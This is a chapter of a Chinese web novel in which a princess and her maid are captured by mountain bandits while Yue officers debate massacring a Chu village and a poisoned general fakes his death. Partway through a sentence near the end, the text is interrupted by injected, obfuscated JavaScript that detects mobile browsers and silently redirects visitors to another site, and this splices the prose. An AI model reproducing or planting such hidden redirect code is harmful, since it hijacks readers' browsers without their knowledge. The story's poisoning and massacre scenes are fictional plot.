娇荇撇着嘴,心道:我又没想上前线来,要不是姑奶奶你来了我不得不跟着,我还乐得在京城烤火享福呢! 但这样的话她怎能对主子出口。 愉郡主丢掉了木棍拍拍手:“这玉旒云也真邪门,他的手下个个跟被她施了法似的——翼哥哥的侍卫们哪儿有不好酒的,偏偏她的人敬酒罚酒都不吃!” “嘘!”娇荇让主子小声些,“我的乖乖好祖宗,下面那些巡逻的兵丁一会就该上来了——这且不说,营里巡逻的,一会就该发现咱们打晕的那两个守卫了。好郡主,乖郡主,别玩了,我求求您啦!” 愉郡主道:“怕什么?都已经到这里了,就还几步路啦。咱们就过去远平城捉弄一下石梦泉,让他试试这件涂满了痒药的棉袄,然后直接回京城,玉旒云也找不了咱的晦气。” 娇荇已经快哭出来了:“好祖宗,远平城可是楚人的地方。您是千金之体……” “哧!”愉郡主笑,“没听那小兵说么?远平城已经叫石梦泉拿下了,那就是我们樾国的地方。我堂堂郡主,在自己国内还不能自由行走吗?” “可是……”娇荇还要再劝。愉郡主却已经迈步朝铁索桥走去。深知主子的脾气,这忠心的丫鬟叹了口气,合十向老天祷告了几句,也只得跟了上去。 铁索桥甚稳,但也很滑。主仆二人一步一步地挪动,花了好大功夫才到对面,看树林黑沉沉,完全不知该往那个方向走。 娇荇又开始说要回去的话。但愉郡主充耳不闻,睁大眼睛透过茂密的枝叶仔细辨认,依稀看到闪烁的灯火了,估猜就是远平城,便兴奋地叫道:“是这个方向!” 娇荇叫苦不迭,但还是跟在她后面,手脚并用朝那灯火闪烁处靠近。 这山路非常崎岖难行——其实在树木的空隙中摸索前进,根本也称不上走的什么“路”。她两个娇滴滴的姑娘从来没有吃过这样的苦,手脚都被乱石和树枝划破了,半天也走不到一里地。 娇荇满头大汗:“郡主,算了吧。歇歇等天亮再走!” 愉郡主倔脾气,哪里肯听,即使跌跌爬爬,也脚步不停。但忽然一个踉跄摔倒下去。 “郡主!”娇荇惊呼着,赶忙来扶。 “我没事,我没事,”愉郡主嘟囔着,“这树根怎么长的——哎呀!死……死人!”她一屁股坐倒在地,两手撑在身后,倒爬着逃向娇荇:“妈呀……那……那是死人!娇荇,那是死人!” 黑咕隆咚的,娇荇什么也看不见,被慌乱的愉郡主撞倒了,手在地上一摸:凉冰冰的,有鼻子有眼,可不是尸体么!她也“哇”地一叫,跳了起来:“真的是死人,郡主!” “啊!呀!哇!”两个姑娘把平生所知的所有惊恐之声都发出来了,相互抱着哭成一团:“怎么办?这下怎么办?” 远远的,好像有狼嚎的声音,她俩哭得更厉害了。“石梦泉,都是你害的!”愉郡主号啕。 大约是哭得太伤心了,又听得那狼嚎渐渐近了,两人心都闭目相拥着等死,对靠近她们的几条黑影浑然不觉。直到一只手搭在愉郡主的肩头时,她才惊声大叫:“是谁?” 娇荇抬眼看,见来人是个三十多岁精瘦如猴的汉子,即壮胆大喝道:“大胆色狼,敢动我家……”她本来顺口就要吆喝出“郡主”来,但想到远平虽下,大青河以南毕竟是楚国地界,就多了个心眼,转口道:“敢动我家小姐!你深更半夜的,在这里干什么?” 那汉子一愣,嘿嘿好笑:“我深更半夜干什么?那你们两个小姑娘深更半夜又在这荒山野岭干什么?” 愉郡主怎容人这样同自己说话,擦了擦眼泪,扬头道:“要你管。这山又不是你家的。我爱来就来!” 这下汉子更乐了——若是旁人,讨个没趣也就算了,但他堂堂杀鹿帮的三当家,竟然被一个小姑娘指着鼻子说这山不是他家的,真真笑死人了! 他把腰一叉,抬脚踏在一个死人的头颅上,道:“此山是我开,此树是我栽,要想打此过,留下买路财!白天收五十,夜里收一百——拿来!” 愉郡主和娇荇都是一愣,哪里料到会遇上强盗的!一时两人都傻了,不知怎生摆布才好。 这时,树林中又陆续走出了好几个人来,当先那健壮的黑汉子是邱震霆,以下有颇为“仙风道骨”的管不着,一脸笑嘻嘻的大嘴四,以及风韵独特的辣仙姑。顷刻就把愉郡主主仆二人围住了。 愉郡主和娇荇手拉着手,瑟瑟发抖:“你们……你们想干什么?我们没钱!” 大嘴四道:“没钱,就人也挺不错了……” “你——你们敢动我——”愉郡主要端起架子来吓人。 娇荇知道这节骨眼儿上,露了身份反而更危险,连忙拉住她:“各位好汉,行行好。我和小姐出来玩迷了路。好汉放我们走,老爷夫人一定重重酬谢,好汉……” 还要再往下说呢,只见辣仙姑在她们跟前把手一晃,也不知着了什么魔,她俩立刻眼前一黑,什么也不知道了。 愉郡主醒过来的时候身上燥热得很——发现睡在一间生着炭火的屋里,旁边是五花大绑的娇荇。她动了动胳膊,发现自己也被捆着,想要破口大骂,但嘴里却堵了块抹布。“恩恩啊啊”地直伸腿,她把娇荇踢醒了。后者也说不出话,两人只能用眼神交流:难道进了贼窝了?心里不禁一片冰凉。 听见隔壁房里有人声,两人都不敢动,屏息细听。 是猴老三在说话:“那樾人也真他娘的奇怪,一支队伍去打远平城了,没打下来,跑得连个影儿也不见。另一支队伍看来是他们的后援,怎么不跟着去攻城,跑到山下做什么?” 管不着道:“的确是古怪。就算是程大人的大军都在平崖城,楚国又不是没有兵马了,这些樾人走出鹿鸣山,不等于送上门来找死么?我看咱们也不必理会他们了,等程大人把平崖那边的事办完了,再回来收拾他们。” “不行。”邱震霆道,“程大人叫咱们守卫鹿鸣山地的安全,咱们就不能让一个樾人活着离开鹿鸣山。趁着他们还没走到山下,有树林掩护,咱们得把这些樾军消灭干净。” 天!听到那句“不能让一个樾人活着离开鹿鸣山”,愉郡主和娇荇都打了个寒噤。 “这不成,他们人太多啦。”大嘴四道,“同样的计策,咱也不能用两次。本来还可试试老五的毒烟,不过樾人真邪门!那个姓石的,居然吸了毒烟还有力气跑去攻打远平城,打败了,又能躲得无影无踪,实在……他娘的,难道樾人长得跟咱不一样?” 石梦泉败了?愉郡主听得糊涂:他不是拿下远平了么?难道玉旈云军营里的小兵撒谎? “老五,”邱震霆唤,“你怎么不说话?” “我?”辣仙姑显然是从深思中被拉了回来,“我在想,姓石的这个将军不是个简单的人物。程大人博学多才,悟出了毒烟的破解之法,咱们用烟熏他,他就用鹿溺把毒素都吸收了。这石将军应该没未找出解毒的办法,所以我想他是利用地势逃出升天的。带着一支中了毒的军队还去攻打远平,这毅力非常人所能及——他竟攻不下远平,这实在是一件奇怪的事。满地樾、楚两军的尸首,但不见石将军,也不见他派去金鼎峰的那位手下……咱们的弟兄就快把鹿鸣山翻过来了,除非樾人会土遁,否则……” 愉郡主静静地听着——见了石梦泉,她总是想尽法子捉弄他。而不见的时候,听别人谈论他,心里就有奇特的感受,又开心,又嫉妒,好像石梦泉是她专属的,别人都不能提起。 “我觉得这位石将军已经拿下远平城了。”辣仙姑说。 什么?这怎么可能?其余几人都咋呼着:“我们到远平城下看,城上守军都是楚人啊!” “你们能扮樾人,樾人就不能扮楚人?”辣仙姑冷冷的,“四哥,不是天下只许你一个人骗人吧?” 众人一愕:话是不假,那么…… “拿下了远平,还搞那么些花样干什么?” “我也猜不透。”辣仙姑道,“不过,我想他们孤军深入,越晚被程大人发现,他们就越安全,越可以完成他们那些见不人的计划。” 居然说石梦泉见不得人!愉郡主气得要死,要是她能自由行动,早跳出去给辣仙姑两个耳光了:你算什么?贼婆子而已! “现在怎么办?”大家问辣仙姑。 辣仙姑大约低头想了想,答道:“总要先探一探他们的虚实才好。” 怎么个探法?大家都伸长了脖子。 “我想就用那两个姑娘。” 众人面面相觑。愉郡主和娇荇则是一惊。 “荒山野岭,黑灯瞎火的,一个小姐带一个丫鬟——她们是樾国人。” “樾人?”所有人都惊了。 “你听听她们说话的口音,噶嘣脆,跟新炸的大麻花儿似的,是北地才有的。”辣仙姑道,“那小姐头上戴的簪子,耳朵上戴的耳环,都是上等货色,有钱也没处买——说不准就是樾国贵族。” 愉郡主这急死了。他爹赵王爷驰骋漠北,和蛮族鏖战多年,常给她讲俘虏蛮族公主王妃逼首领投降的故事——若那首领降了,找个机会将他们全家秘密处决掉;若是不降,就把女人丢进军营里犒劳将士。她小时候啥事不懂,还愣愣地问:怎么犒劳呀?惹得旁人一阵笑。后来明白了,却从没想过自己也落到做俘虏的境地! 怎么办?怎么办?她瞪着眼睛一个劲儿地瞅娇荇。而娇荇纵然有点小聪明,这时哪里还用得上?只有干着急的分儿。 这时听管不着道:“簪子、耳环这些女人家的东西我就不感兴趣。不过小姑娘抱着的这身棉袄看起来可真不赖。织锦面子丝绸里子,轻飘飘——应该是丝绵的吧。呵,我可笑纳了,大家别跟我争。” 大嘴四呵呵笑道:“二哥,你都一把年纪了,穿这么花哨的棉袄,难道是打算出门采花么?” 管不着“哼”了一声:“我是神偷盗圣,哪有采花的道理?” 辣仙姑笑:“这身棉袄是抢来的,你神偷盗圣早就做了强盗了,还在乎多戴顶采花贼的帽子?” 大家听了,全跟着笑了起来。 愉郡主若不是因为嘴被堵了,也要解气地笑两声——她精心炮制了这抹满痒药的棉袄,捉弄不成石梦泉,治治这伙土匪也好! 天才刚蒙蒙亮,杀鹿帮帮众就带着愉郡主和娇荇上远平城去。从众人临时栖身的山寨到远平城路程并不算近,走到太阳高起,才遥遥地看见通往城门的道路。众人即在树林里停下来,大嘴四召了几个手下扮成农夫的模样,自己也乔装改扮,摇身变成一个花甲老者,押了娇荇往远平城走。邱震霆和其他一干人等,带着愉郡主在原地静观其变,若是大嘴四遇到危险,至少杀鹿帮手里还有愉郡主这筹码。 押娇荇来到远平城下,大嘴四即让手下弟兄上前喊话:“军爷,小民等抓到樾国奸细啦,特来交给游击将军大人!” 城上的兵士不为所动。 大嘴四亲自上前,拱了拱手道:“军爷,老夫是白鹿村的村长。我们小民们都万分感谢军爷守城把关,保护一方平安。我等都是山野村夫,保家卫国抗击樾贼的的大事我们插不了手,但也都想出一份力。这丫头昨天鬼鬼祟祟在村里游荡。我等见她面生,就把她扣了下来,谁知她果然是樾国奸细。” 城上的士兵望了望他们,依然不理会。 大嘴四道:“军爷,去年程大人来鹿鸣山剿匪,还分了粮食给大伙儿。老夫说过,我们全村人做牛做马也要报答他。他说,我们若要报答,就好好帮着游击将军守好边关——程大人贵为兵部尚书,他尚且携着老夫的手交代这番话,你们都是程大人的下属,怎么……我等一片报国之心,算是白费了!” 说时,他向弟兄们使了个眼色,那些假扮青壮农夫的就嚷嚷道:“村长,这些狗官瞎了眼,咱们直接报告程大人好了——程大人上次不是留给咱们一批信鸽么,叫咱们有事直接报到他跟前。咱们这就告诉他,鹿鸣山里来了樾国奸细,樾国人找到捷径,从河对面过来了。求程大人立刻发大军过来!” 城上的士兵自然是石梦泉的部众。早先接了玉旒云的书信,命令他们继续不动声色坚守远平,待夺回石坪之时,迎接樾军过河攻楚。 士兵们现见来了一群楚国“百姓”,不辨真伪,只怕言语行动露出破绽,故尔装聋作哑,不予理会。但听到这些人要立刻联络程亦风,虽然也不知道有分是真,但纵有万一的可能,出了事情也无人担待得起,只好硬着头皮先对付着,喝道:“战事吃紧,游击将军没空来见你们。谎报军情要掉脑袋的,你们可知道?” 大嘴四一听,这是北方口音,晓得辣仙姑估计得不假,就低声对身边的一个弟兄道:“你快回去,告诉大当家他们,远平果然被樾人占了。我们其他人想法混进去,和大大家里应外合,怎么也得搅得这帮樾国混蛋不得安宁!” 那人应了,佯做愤怒,骂骂咧咧,道:“他娘的游击将军,老子不干了。谁爱打来就打吧,老子反正种老子的田!”说着,转身离了队伍,直向邱震霆等藏身的地方而去。 城上的士兵想要稳住局面,怕闹大了不可收拾,大声喝道:“别吵,我先去请示。你们都等着!” 见他去了,大嘴四等人都暗自开心,唯娇荇心中大叫“糟糕”:这些人要混进成去,继续假扮“匹夫有责”的村民,则决不会让自己有揭穿他们的机会。而她又是“奸细”,必须把她交给“游击将军”——这戏要唱好,谎要扯圆,只有杀了她! 背上的冷汗出了一层又一层,衣服手湿淋淋凉冰冰地贴在肉上。她四下里看,想找机会脱身,但看到的只有当夜樾楚之战留下的尸体。早春山中寒冷,尸身还未开始腐坏,那些瞪眼伸舌的死人,颜色蜡黄中泛着铁青,甚是可怖。 莫非我要成为其中一个么?娇荇的眼泪直打转。 城楼的士兵不一会儿回来了——本来是要去找暂代石梦泉打理大小事务的赵酋,无奈赵酋正忙着,未寻见,正遇上岑远——石梦泉以外,岑远军阶最高,听士兵说出了事,就自作主张地要来看看。他不识得大嘴四,也从来没见过娇荇,皱着眉头朝下看了看,责备那士兵道:“这种事情以后不必来请示了,管他是真是假,直接乱箭射死——若是别有用心的楚军奸细,咱们就杀对了人;若是随便拉个女人就想邀功的楚国愚民,反正杀了就杀了。多一事不如少一事。” 士兵点头答应:“但万一他们真的传信给程亦风,那……” “都杀干净了,他们还传什么信?”岑远道,“罗满不是领了兵马埋伏在山下么?趁着现在楚军还没过来,叫罗满去把那村子杀绝了,以免留下后患。” “可是,”士兵犹豫着,“玉将军和石将军都不喜纵兵,更严禁屠城。若是杀尽了那村子,他二位知道了,恐怕……” “恐怕什么?”岑远道,“玉将军因为严禁纵兵屠城而和刘子飞将军结下梁子的事我也晓得。刘子飞将军那是以纵兵屠城为乐,玉将军当然反对。咱们现在是为了攻楚大计,就杀几个楚国愚民,玉将军哪会怪罪?我听说她极恨楚人,说不定还会奖赏咱们呢!” 士兵将信将疑——但这的确是一个快刀斩乱麻的便宜法子。 岑远恐怕他还有顾虑,拍拍他的肩膀,又招呼城楼上其余的人:“拿弓箭!” 下面的娇荇自然听不见他们在商量什么,但心里清楚,如此下去,自己难逃一死。她两手在背后拼命地想要找着绳头,而舌头在口中就不停地顶那帕子,希望能出声求救。菩萨,菩萨,她默祷着,您就帮帮我和郡主吧,我以后天天念经,天天吃素…… 也许是祷告真的灵验,也许是因为帕子在口中塞得太久,浸透了唾液,变软了,她一顶之下,竟然松动,再用力一吐,就恢复了嘴巴的自由。看着城上士兵正弯弓搭箭瞄准这边,忙竭尽全力大声叫道:“我是赵王府愉郡主的侍女,郡主被这伙强盗给抓了,石将军快来救驾!” 别说娇荇这声喊石梦泉听不到,即便听到了,他也有心无力——俗语说,病来如山倒,病去如抽丝。石梦泉这一次倒下来,什么药也用了,身子竟似没有起色,躺在床上犹自觉得天旋地转,分明胸中如火烧一般地难受,但嗓子刺痛,一口水也喝不下去。近随的兵士们纷纷一筹莫展。 他多数时候迷迷糊糊地在做梦,而且梦的开头都是一样的—— 玉旒云十五岁的时候,还是庆王的庆澜帝得到一匹御赐的宝马,只是性子极烈,没人能驯得服。他说,那就养着看吧。可玉旒云说,不,我非收服这畜生不可。花了三天三夜,这马软硬不吃。玉旒云气了,拿起铁鞭朝马身上击去,马儿吃疼,骤然跳跃起来。玉旒云一个不留神,摔将下马——她的人没事,但还未起身,烈马又扬蹄直朝她踩下——她已经无处躲闪,是石梦泉扑到了她身上。 石梦泉碎了肩胛,断了三跟肋骨,在床上躺了半年。那时痛得整日整日昏昏沉沉,又痛得整夜整夜无法入睡。玉旒云是御医一准许下床就直奔来看他的。她说:“那畜生我已杀了,给你报仇。”石梦泉并说不出话,只凝视着玉硫云的脸——她没有落泪,一滴都没有。 如果我死了,你会不会哭呢? 会不会? 十五年相知相交的点滴往复闪回,最终还只汇成这一个问题:如果我死了,你会不会哭? 也许我不值得吧,还是你早已没了眼泪? 或许更揪心,或许就此释然,即使在梦里也得不出个结论。 不过这天夜里,他倒稍稍有些清醒了过来,嘴里苦涩难当,就唤人拿茶来润润口。然而连唤了几声,都不听有人应。他疑心是自己虚弱,声音太轻,正想就忍一忍挨到天亮算了,却听房门“呀”地一响,值夜的兵士回来了:“哎呀,石将军,您醒啦?” 石梦泉微微动了动头,哑声问他要水。士兵忙拿杯子。可茶壶还未端起来,突然弯下了腰:“哎哟,石将军,我得先上茅房。不行了!不行了!”嚷嚷着,话音落下,人早已跑得远了。 石梦泉只好僵卧在黑暗里等着。半晌,那士兵摇摇晃晃地回来了,哼唧哼唧的:“石将军,您包涵。茶就来……”才说到这儿,又“哎哟”一声:“不成,我还得去茅房……”说时,又跑得没了影儿。 石梦泉愣愣的,只得又躺着等。到这士兵第三次来,才总算是把茶送到了床边。他谢了,道:“既然你也不舒服,就换个人来吧。” 士兵一脸苦相:“要是有人就好啦!鹿鸣山的地方风水不好,将士们都水土不服,大半的人都上吐下泻呢!” 有这种事?石梦泉蹙着眉头。 “哎哟哟!”就这当儿,那端茶的士兵又捧着肚子跑了,石梦泉拿不稳茶碗,掉在地上摔个粉碎。 一番折腾,到天亮时他还是口干舌燥。 这时终于有个不闹肚子的士兵来接班了,托盘里端着汤药,稀饭,掖下还夹着一堆地图公文之类的玩意儿,大约是因为病的人太多了,他得身兼数职。 石梦泉正好询问一下这次疫病的情况,回答说驻守城上的前锋营都安好,只是城里的兵士吃坏了肚子,也许饮水的关系,赵酋已经下令全军不再饮用穿城而过的溪水,改喝井水,看看情势会否好转。 石梦泉点点头,又问:“玉将军可有军令来?” 士兵摇头:“不过,方才罗副将传书一封,卑职正要拿去给赵督尉,既然石将军您醒了,要不要卑职读给您听。” 石梦泉叫他读。信上只有寥寥几个字:“屠城事大,将军三思。”石梦泉不禁莫名其妙:“屠什么城?” 士兵也有点奇怪:“卑职不晓得,要不要交赵督尉来问问?” “好,你叫他来!” 不时,赵酋就进来了,眼窝深陷,显然是这几日操劳军务,没有休息过。他自然先问石梦泉的身体,但石梦泉单刀直入:“屠城这么大的决定,也没问过我。” 赵酋也是一愣:“什么屠城?我从来没有下过这样的命令。” “是我下的。”岑远从外面走了进来,“石将军病了,所以不知。有些楚军奸贼藏身在此山中,和山下的村民混杂一处。我担心他们已洞悉我军计划,为免走漏风声,所以令罗副将杀尽山下楚人,以绝后患。” 藏身山中的楚奸?石梦泉也担心过,当日向他们使用毒烟的人假如不是从远平城中来的,假如没有被他们斩杀或俘虏……的确是心腹之患。真如此,或许程亦风已经得到消息了也未可知! 然而屠城这件事…… 见他皱眉不发话,岑远想起他之前训斥过自己不得擅作主张,于是把大嘴四带人打远平城的事仔细说了一回。讲到“楚人奸诈,假称俘获我方中人,企图混进城来”,被他识破,因下令就地格杀。然“楚奸”狡猾,身手亦很了得,只有三人毙命,其余都逃窜而去。“鹿鸣山地形复杂,我军初来,不习路径。今敌暗我明,时间紧迫,卑职才出此下策。请将军定夺。” “既然敌暗我明,你怎知道楚军一定藏匿在山下村庄之中?”石梦泉道,“杀尽村人,难道就能斩草除根了么?而那村庄中有否古怪你知道么?楚人是否已经向程亦风求援,你又知道么?” “我……卑职的确不知。”岑远道,“可是,我军不能坐以待毙……” 这说法赵酋也赞同,用征询的目光看着石梦泉。 “不。”石梦泉摇头,“一动不如一静。假如程亦风收到消息率军赶来,罗副将的人马至少还埋伏着,可以暂时牵制。我们也得以通报玉将军,让她有所准备。假如罗副将进村屠杀,打草惊蛇……程亦风只会来得更快,提防得更加小心,咱们再想要偷袭牵制他就困难了。” “照将军的推测,程亦风可能已经在路上了?”赵酋一凛。 “我不知道。”石梦泉只不过在床上靠了一会儿功夫,浑身又酸疼起来。要揣测对手的心思,实在是难上加难。尤其因为生病的缘故,思路混乱,一时间转过了许多的主意,但又一一推翻。只觉得手脚一忽而发冷,一忽而发热,心绪烦躁。 赵酋关切地问:“将军,您脸色不好,还是躺下吧?这应对之策,卑职可请教玉将军……还不去叫医官来?” 士兵应声要去,恰巧医官已在外面求见了。召进来,报道:“赵督尉要属下查验溪水,看看将士们致病的原因何在,属下已经查出来了。” 赵酋道:“且不提这个,你先看看石将军……” “不……”石梦泉看医官神色,仿佛事有蹊跷,“先说溪水。有何不妥么?” “回禀将军,”医官道,“起先赵督尉让属下验看溪水,不过是怀疑此地水土有异北方,我将士远到不服,才纷纷病倒。如今属下已仔细验查过,原来有人将巴豆粉、乌桕粉、白花蛇毒汁等物放入溪水中。此皆下泻之药,我军将士实在是因为遭暗算中了毒……” “岂有此理!”岑远拍案骂道,“这些楚人个个都是阴险毒辣之徒。明刀明枪地拼不过咱们,就使这种狠毒伎俩——将军,不能再等了!楚贼上次已用毒烟,此番又下泻药,若继续观望下去,还不知他们又耍出什么花招来!石将军,请准我带一支人马下山,先屠尽了那个村子,或许可引得这伙藏头露尾的鼠辈出来。” 赵酋也道:“请将军准卑职前去,卑职一定不会暴露罗副将的行踪。” 等等……石梦泉艰难地举起一只手,示意他们稍安勿躁。此乃死生之地,存亡之道,不能不慎重,行错一步,就会把玉旒云推入险境,会让整个大青河战役失败。 “这些藏匿的楚军……”他缓缓地,边想边道,“虽说狠辣诡诈都是兵家常用之道,但自过得河来,我等屡屡遭遇这种下三滥的用毒之术,我觉得,这些人倒不像是军人。而且,他们的人马也不多,否则我们被毒烟所困时,他们应该乘机将我们杀光才是——罗副将被他们偷袭,也只损失了不到五百人……听说程亦风深得楚人爱戴,不少地方都组织了民兵乡勇,连这次攻下石坪城的也是民兵。我看,我们现在的对手也是这样一群人吧。” “那岂不更好?”岑远道,“既然是乌合之众,将军又确认是民兵,咱们就更应该杀下山去,将他们一网打尽。” “不。”石梦泉道,“步兵、骑兵、水兵,将军、都统、提督、总兵、千总,百夫长,十夫长……与军队打仗,看对方领兵的是什么人,就大体知道他下面率领了些什么人,行军的阵势,攻城的方法,即使不从兵书上生搬硬套,总也有些章法可言。我们打的仗多了,应付起来也就容易些。可民兵乡勇不同,没有一定的编制,也没有一定的章法,我们根本不知道他们还有什么怪招、险招,也不知道要怎么对付。冒冒然杀出去,不知会遇到些什么。况且,你愿意同他们正面交锋,他们却决不会和你正面交锋。你只会遭遇些更下三滥的手段而已。” 岑远道:“将军,这也不行,那也不行,这不是长别人志气,灭自己威风么?我们兵力就算没有他们的十倍,也有三倍、五倍,将他们围起来格杀有什么困难?就算这伙贼人不是藏身村中,大不了一把火烧了白鹿峰,再一把火烧了金鼎峰,让他们死无葬身之地——程亦风来就来吧。大不了和他一拼。死在他的手里,好歹也是死在楚国兵部尚书手里,好过死在什么民兵山贼的手中!” “死又如何?”石梦泉看着他那激愤的模样,再看看赵酋旁边几个近随的士兵,也都是窝囊气不出不快。“死在谁手里,还不都是死?就看死的值不值得——玉将军让我们稳住局势,不到万不得以,我不想引得程亦风提早来到。” “那要怎么办?”众人都是这个问题。 石梦泉深深地吸了一口气,从千头万绪中寻找出路让他疲乏得几乎睁不开眼。玉将军,假如我死了,你会如何呢?第一千次问出这个没有答案的问题。假如他死了? 假如他死了? 心里忽如电掣一般。他笑了。 “将军?”众人关切又忧心。 “他们不是想毒死我们么?不是想我死么?”他说,“那我就死给他们看!” 阴暗的小屋里,娇荇在狼吞虎咽。一边的愉郡主只呆呆地看着面前的饭食,烦躁地开口:“这时候你还吃得下?也不知道这群山贼到底想拿我们怎样!” 娇荇嘴里塞满了米饭:“郡主,您没经过那生死一瞬。我现在是从鬼门关转了一遭回来,觉得还是有吃就吃,能睡就睡最实惠,死了不遗憾。” 当时岑远下令放箭,当场就把她旁边的几名杀鹿帮帮众钉死,好在大嘴四身手快,拎了她就跑,这才拣回一条命来。又因为她泄露了自己的身份,杀鹿帮众人晓得辣仙姑所猜不假,知道握住一张重要的筹码,生恐一不小心把她俩饿死病死,那就利用不起来了,因而对她俩的态度都有改观,既不绑手也不堵嘴,只反锁在这间小屋子里。 愉郡主气鼓鼓的:“你还说——这乌鸦嘴。你是存心想我跟你死在这里了不是?石梦泉会来救咱们的。” 娇荇差点儿噎住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728595|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“郡主,您就别在那没心没肺的傻小子身上花功夫啦。我那么大嗓门喊出我是你的使女,叫他们来救咱——他们可好,嗖嗖直放箭。您以前又是黄连水,又是毒蛇汤的,寻石将军多少晦气,指望他来救你?” “我……”愉郡主愣了愣,“可是,我也没把他怎么样呀。他要我教他打络子,我不也教了么?” “还有呢?”娇荇道,“您还帮石将军做过什么正经事儿?” 愉郡主答不上来。 娇荇“哧”地一笑:“您给人家找了那么多麻烦,就帮人家做过一件事儿,就这件,后来还让您自己给搞砸了——玉将军的寿宴,您看您怎么搅和的?朝廷上下谁不知石将军对玉将军言听计从,就是玉将军叫他死,他也不会吭一声。您跟玉将军过不去,还指望石将军站在您这一边儿?” 愉郡主咬着指甲:“可玉旒云实在是很讨厌嘛!再说,就算他们不站在我这一边,我好歹是郡主,他们敢不救驾?” 娇荇冷笑了一声:“您是郡主——玉将军可安排了人手护送您回京,您把人给打晕了。石将军又没见到您。城上的那些人谁也不识得我这小丫鬟——真有个三长两短,这可成了无头公案呢。” 愉郡主听她这样说,自己仿佛必死无疑了,鼻子一酸,“哇”地哭了出来:“那怎么办?” 娇荇其实是逗逗她兼发牢骚,自己何尝不想石梦泉立刻来搭救?要不然,当日在远平城下,她也不会冒险暴露身份了。然而好几天过去,竟然一点儿动静也没有,实在让人不能不心焦。 但她还得安慰主子:“好祖宗,别哭啦,奴才逗您玩儿呢!石将军有天大的胆子也不敢把主子晾在一边儿,他肯定在计划着哪,一时就来了,杀光这些强盗,给主子您出气!” 愉郡主擦着眼泪,梨花带雨:“真的?” 娇荇赌咒发誓:“再骗您,我就把自己这张嘴给撕了——来——”她端起愉郡主的饭碗:“你多少吃一点儿,否则瘦了几圈儿下去,石将军杀了来,都不认识您了,还不知道救谁好呢!” “死丫头!”愉郡主这才破涕为笑,勉强吃了些饭。 这时,就听外面管不着的声音:“跑这么快做什么?赶去投胎么?”他这两日心情极差——贪便宜穿了愉郡主的棉衣,结果一天洗澡洗了五六回也解不了瘙痒。辣仙姑偏偏又没带着能解痒药的草药来,要山上现采,去到这时还未回,实在叫他着急。 那被他骂的只是一个小帮众,收住了脚步,答道:“二哥,出了大事了。樾军的那个主帅好像死了!” “死了?”管不着一惊。 房里关着的愉郡主和娇荇更是犹如晴天霹雳。 那小帮众道:“这两天城上的士兵就好像很不耐烦的样子,弟兄们日夜监视,发现有几岗少了好多人。今天再看,几乎没人站岗了。我们起初还想,定是五哥的毒药的厉害,让他们个个都拉得没力气,爬不上城,谁知,后来我们见到城门开了,有几个兵丁偷跑了出来。弟兄们一路跟着,听他们说,姓石的将军病死了,现在城里群龙无首,有人想回北方,有人想继续留下,争个没完。他们要到山下去找那罗副将来稳住大局。” “果真?”管不着大喜。 房内附门偷听的愉郡主却面色惨白,晃了两下,一头栽倒,失去了知觉。 待辣仙姑采药回来,石梦泉的死讯已经传得杀鹿帮上下都知道了。连辣仙姑自己也亲见有士兵偷偷从远平城里跑出来。她踏进门时,管不着正和猴老三、大嘴四等一干弟兄商量着怎么趁乱夺回远平城。没见邱震霆,说是练功去了,过会儿才回来。 猴老三道:“娘子,这可都是你的功劳。如今那姓石的小子一命呜呼,咱把远平城拿下来,大哥可就在程大人面前立了大功。” 大嘴四也道:“老五果然对得起‘辣仙姑’这个绰号——料事如神赛过了诸葛亮再世,下手又够狠,能几种毒药一起上——哈,阎王想不收那小子都难。” 管不着跟着道:“老五,你不如再来料料看,咱们这次偷袭远平城,该带多少跟竹竿子去?” “带竹竿子做什么?”猴老三不解。 管不着呵呵笑道:“那里面的人都被你娘子药成了软脚虾,咱们当然是用竹竿子去串成串回来烤啦!” 众人不免都笑了起来。 辣仙姑却没有,把草药往边上一丢:“二哥你自己都成了脆皮鸭了,还管人家是不是软脚虾?快拿这药煮水洗澡去。一把年纪的人了,也跟些小的在这儿瞎起哄。” 管不着被她奚落,脸一红,不过还是止痒要紧,也就不计较,忙去了。猴老三仔细观察妻子的神色,道:“怎么,你觉得这事……” “有点古怪。”辣仙姑道,“就算那石将军先吸了毒烟又喝了毒药,身子骨差,死了,樾人失了主帅应该更加小心谨慎,百般隐瞒,不让外间知道才是,怎么轻易就传到了咱们耳朵里?” “阵脚大乱了嘛。”大嘴四道,“在咱们的地盘上,进也不能进,退又很难退——这种送死的仗,我看起初就没什么人愿意来。如今将军死了,大家还不各奔前程?” 辣仙姑皱着眉头:“樾人治军,咱没看过其他的,就看了石将军和那个罗副将。以他二人治军之严,应该不会像现在这样乱成一锅粥,兵士纷纷弃城逃跑吧?” “不过姓石的死了呀!”大嘴四提示,“你看楚人的兵队——看看程大人的队伍和那草包冷千山的队伍,主帅就是兵队的脊梁骨。楚军要是没有程大人,肯定是一盘散沙。樾军死了将军,平时军纪再有多严明,这时也顾不得啦。” 辣仙姑还是觉得不妥,坐下来,把手指在桌上划着。猴老三最疼老婆,忙倒了茶来:“娘子你辛苦啦,咱哥儿几个也就是先议论议论。到底怎么办,还得听大哥的。先喝口茶。” 辣仙姑白他一眼:“就你那点儿出息——我看你们才是没了大哥看着就成了一盘散沙!” 猴老三讪笑着,不和妻子争辩。几人有一句没一句地说了些闲话,邱震霆就回来了——他扛着大刀,雄赳赳气昂昂,但却一手拎着裤子,看来有点儿滑稽。大家再看他背后,原来有一队兵丁大约七八个人,都被他用裤腰带拴成了一长串儿!看那服饰是楚军,但杀鹿帮的人都知道,远平穿楚人衣服的,大都是樾军假扮的。 众人都迎了出来:“大哥,哪儿抓来这么些兔崽子?” 邱震霆咧嘴一笑:“奶奶的,真上山打兔子也没有手气这么好的!俺正耍刀耍到兴头上,这些家伙就没头苍蝇似的撞到林子里来——他娘的都是樾国的小混蛋。俺当然这么一顺手——不过就是没绳子,害俺提着裤子走了这么远。” 